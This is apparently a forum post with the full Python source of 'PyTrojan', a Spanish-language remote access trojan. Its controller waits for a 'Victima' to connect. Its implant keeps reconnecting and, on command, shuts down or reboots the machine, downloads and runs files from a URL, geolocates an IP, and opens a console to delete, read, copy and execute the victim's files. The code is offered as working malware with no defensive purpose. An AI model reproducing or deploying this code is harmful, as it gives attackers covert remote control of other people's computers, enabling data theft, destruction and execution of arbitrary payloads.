Cliente:
Código
# -*- coding: utf-8 -*- ########################################## ## ## ## PyTrojan ## ## By Proxy ## ## Fecha Inicio: 28/04/13 ## ## Fecha Fin: ../../.. ## ## Client ## ## ## ########################################## import socket import os import time #Limpiamos Pantalla def cls(): os.system(['clear','cls'][os.name == 'nt']) #Imprimimos Cabecera def Cabecera(): print ' ****************************************************' print ' **** ****' print ' **** PyTrojan v1.0 Beta ****' print ' **** ****' print ' ****************************************************' #Imprimimos Opciones def Opcionestop(): print ' ****************************************************' print ' **** Opciones ****' print ' ****************************************************' print ' **** ****' print ' **** 1) Apagar Equipo ****' print ' **** ________________________ ****' print ' **** 2) Reiniciar Equipo ****' print ' **** ________________________ ****' print ' **** 3) Downloader ****' print ' **** ________________________ ****' print ' **** 4) Localizador IP ****' print ' **** ________________________ ****' print ' **** 5) Limpiar Pantalla ****' print ' **** ________________________ ****' print ' **** 6) Consola ****' print ' **** ________________________ ****' print ' **** 7) Desconectar ****' print ' **** ________________________ ****' print ' **** 8) Desconectar ****' print ' **** ________________________ ****' print ' **** 9) Apagar Servidor ****' print ' **** ________________________ ****' print ' **** 10) Salir ****' print ' **** ________________________ ****' print ' **** ****' print ' ****************************************************' #Consola de Comandos def Consola(s, sc): time.sleep(1) def Menuopc(): print '\nHELP: Muestra la lista de comandos de la consola' print 'DEL: Elimina el archivo marcado' print 'XDEL: Elimina la carpeta marcada' print 'COPY: Copia un archivo a otra directorio' print 'READ: Abre el archivo en la consola' print 'OPEN: Ejecuta un archivo' print 'WANT: Busca en todos los archivo con extension a elegir' print 'DIR: Muestra el directorio actual' print 'CD: Cambia de directorio al directorio seleccionado' print 'EXIT: Salir de la consola de comandos\n' Menuopc() while True: opconsola = raw_input('>>> ') if opconsola == 'help': Menuopc() elif opconsola.startswith('del') == True: time.sleep(1) ruta1 = opconsola[:3] ruta2 = opconsola[4:] while ruta1 and ruta2: sc.send(ruta1) sc.send(ruta2) recibido = sc.recv(1024) print '\n' + recibido + '\n' break elif opconsola.startswith('xdel') == True: time.sleep(1) ruta1 = opconsola[:4] ruta2 = opconsola[5:] while ruta1 and ruta2: sc.send(ruta1) sc.send(ruta2) recibido = sc.recv(1024) print '\n' + recibido + '\n' break elif opconsola == 'copy': time.sleep(1) ruta1 = opconsola ruta2 = raw_input('Introduce la ruta del archivo a copiar >>> ') ruta3 = raw_input('Introduce la ruta donde se copiara el archivo >>> ') sc.send(ruta1) sc.send(ruta2) sc.send(ruta3) recibido = sc.recv(1024) print '\n' + recibido + '\n' elif opconsola.startswith('read') == True: time.sleep(1) ruta1 = opconsola[:4] ruta2 = opconsola[5:] while ruta1 and ruta2: sc.send(ruta1) sc.send(ruta2) recibido = sc.recv(100000000) print '\n' + recibido + '\n' break elif opconsola.startswith('open') == True: time.sleep(1) ruta1 = opconsola[:4] ruta2 = opconsola[5:] while ruta1 and ruta2: sc.send(ruta1) sc.send(ruta2) recibido = sc.recv(1024) print '\n' + recibido + '\n' break elif opconsola.startswith('want') == True: time.sleep(1) ruta1 = opconsola[:4] ruta2 = opconsola[5:] while ruta1 and ruta2: sc.send(ruta1) sc.send(ruta2) recibido = sc.recv(100000000) print '\n' + recibido + '\n' break elif opconsola == 'dir': time.sleep(1) sc.send(opconsola) recibido = sc.recv(100000000) print '\n' + recibido + '\n' elif opconsola.startswith('cd') == True: time.sleep(1) ruta1 = opconsola[:2] ruta2 = opconsola[3:] while ruta1 and ruta2: sc.send(ruta1) sc.send(ruta2) recibido = sc.recv(1024) print '\n' + recibido + '\n' break elif opconsola == 'exit': time.sleep(1) sc.send(opconsola) print '\nHas salido de la consola...\n' break #Opciones despues de conectar def Opciones(s, sc, addr): cls() orden = '' while orden != '10': Opcionestop() while True: orden = raw_input('>>> ') if orden == '1': #Apaga Equipo try: sc.send('apagar') print sc.recv(1024) except: print 'El servidor esta desconectado...' elif orden == '2': #Reinicia Equipo try: sc.send('reiniciar') print sc.recv(1024) except: print 'El servidor esta desconectado...' elif orden == '3': #Downloader try: direccion = raw_input('Introduce la direccion >>> ') time.sleep(1) nomarch = raw_input('Introduce el nombre del archivo con extension >>> ') time.sleep(1) sc.send('downloader') time.sleep(1) sc.send(direccion) sc.send(nomarch) time.sleep(1) vari = sc.recv(1024) print vari except: print 'El servidor esta desconectado...' else: try: while vari == 'Archivo descargado con exito...': ejecutar = '' while ejecutar != 'si' and ejecutar != 'no': ejecutar = raw_input('Desea ejecutar el archivo? (si o no) >>> ') if ejecutar == 'si': sc.send('si') print sc.recv(1024) elif ejecutar == 'no': sc.send('no') else: print 'Introduce si o no...' else: break else: pass except: print 'Ha ocurrido un error...' elif orden == '4': #Localiza IP try: sc.send('localizadorip') iploc = addr[0] sc.send(iploc) print sc.recv(1024) except: print 'El servidor esta desconectado...' elif orden == '5': #Limpia la Pantalla time.sleep(1) cls() Opcionestop() elif orden == '6': try: sc.send('consola') Consola(s, sc) except: print 'El servidor esta desconectado...' elif orden == '7': print 'hello' elif orden == '8': print 'hello' elif orden == '9': #Apaga Servidor try: sc.send('desconectar') print sc.recv(1024) except: print 'El servidor esta desconectado...' elif orden == '10': print 'Te has desconectado...' break else: print '%s No se reconoce como un comando' % orden #Menu def Menu(): opcion = '' while opcion != '1' and opcion != '2': cls() Cabecera() print ' ****************************************************' print ' **** ****' print ' **** 1) Esperar Conexiones ****' print ' **** 2) Salir ****' print ' **** ****' print ' ****************************************************\n' opcion = raw_input('>>> ') if opcion == '1': cls() print ' ****************************************************' print ' **** ****' print ' **** Esperando Conexiones... ****' print ' **** ****' print ' ****************************************************' host = '' port = 9999 try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((host, port)) s.listen(3) sc, addr = s.accept() except: cls() print ' ****************************************************' print ' **** ****' print ' **** Ocurrio un problema... ****' print ' **** ****' print ' ****************************************************' raw_input() else: cls() print ' ****************************************************' print ' **** ****' print ' **** Victima ****' print ' **** ****' print ' ****************************************************\n' print 'Se ha establecido la conexion con...', addr[0] raw_input() Opciones(s, sc, addr) elif opcion == '2': cls() print ' ****************************************************' print ' **** ****' print ' **** Gracias por usar PyTrojan ****' print ' **** ****' print ' ****************************************************' raw_input() cls() Menu()
Servidor:
Código
########################################## ## ## ## PyTrojan ## ## By Proxy ## ## Fecha Inicio: 28/04/13 ## ## Fecha Fin: ../../.. ## ## Server ## ## ## ########################################## import socket import time import os import urllib import shutil import glob #Consola de Comandos def Consola(s): while True: opconsola = s.recv(1024) if opconsola == 'del': ruta = s.recv(1024) try: os.remove(ruta) s.send('El archivo ha sido eliminado con exito...') except: s.send('El archivo no ha podido ser eliminado...') elif opconsola == 'xdel': ruta = s.recv(1024) try: shutil.rmtree(ruta) s.send('La carpeta ha sido eliminada...') except: s.send('La carpeta no ha podido ser eliminada...') elif opconsola == 'copy': ruta1 = s.recv(1024) ruta2 = s.recv(1024) try: shutil.copy(ruta1, ruta2) s.send('El archivo ha sido copiado...') except: s.send('El archivo no ha sido copiado...') elif opconsola == 'read': ruta = s.recv(1024) try: arch = open(ruta, 'r') line = arch.readline() while line != '': s.send(line) line = arch.readline() except: s.send('El archivo no ha podido ser abierto...') elif opconsola == 'open': ruta = s.recv(1024) try: os.startfile(ruta) s.send('Archivo ejecutado con exito...') except: s.send('El archivo no ha podido ser ejecutado...') elif opconsola == 'want': ruta = s.recv(1024) try: lista = glob.glob('*' + ruta) joinlistar = '\n'.join(lista) s.send(joinlistar) except: s.send('Ha ocurrido un error...') else: s.send('\n.') elif opconsola == 'dir': try: listardirectorio = os.listdir('.') joinlistardire = '\n'.join(listardirectorio) s.send(joinlistardire) except: s.send('Ha ocurrido un error...') elif opconsola == 'cd': ruta = s.recv(1024) try: os.chdir(ruta) s.send(os.getcwd()) except: s.send('No se puede encontrar la ruta especificada...') elif opconsola == 'exit': break #Conexion con el cliente def conexion(): host = 'localhost' port = 9999 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) while True: recibido = s.recv(1024) if recibido == 'apagar': #Apaga Equipo time.sleep(1) s.send('El equipo se esta apagando...') os.system('shutdown -s -f -t 0') elif recibido == 'reiniciar': #Reinicia Equipo time.sleep(1) s.send('El equipo se esta reiniciando...') os.system('shutdown -r -f -t 0') elif recibido == 'downloader': #Downloader time.sleep(1) try: direccion = s.recv(1024) nomarch = s.recv(1024) urllib.urlretrieve(direccion, nomarch, reporthook=None) except: s.send('Ha ocurrido un error...') else: s.send('Archivo descargado con exito...') try: ejecutar = s.recv(1024) if ejecutar == 'si': os.startfile(nomarch) elif ejecutar == 'no': continue except: s.send('Ha ocurrido un error al intentar ejecutar el archivo...') else: s.send('Archivo ejecutado con exito...') elif recibido == 'localizadorip': #Localiza IP try: time.sleep(1) iploc = s.recv(1024) ipaddr = 'http://api.hostip.info/get_html.php?ip=%s&position=true' % iploc response = urllib.urlopen(ipaddr).read() except: s.send('Ha ocurrido un error...') else: s.send(response) elif recibido == 'consola': #Consola de Comandos time.sleep(1) Consola(s) elif recibido == 'desconectar': #Apaga Servidor time.sleep(1) s.send('Servidor apagado correctamente...') s.close() break else: conexion() #Reintentamos conexion si el cliente se ha desconectado while True: time.sleep(3) try: conexion() except: pass else: break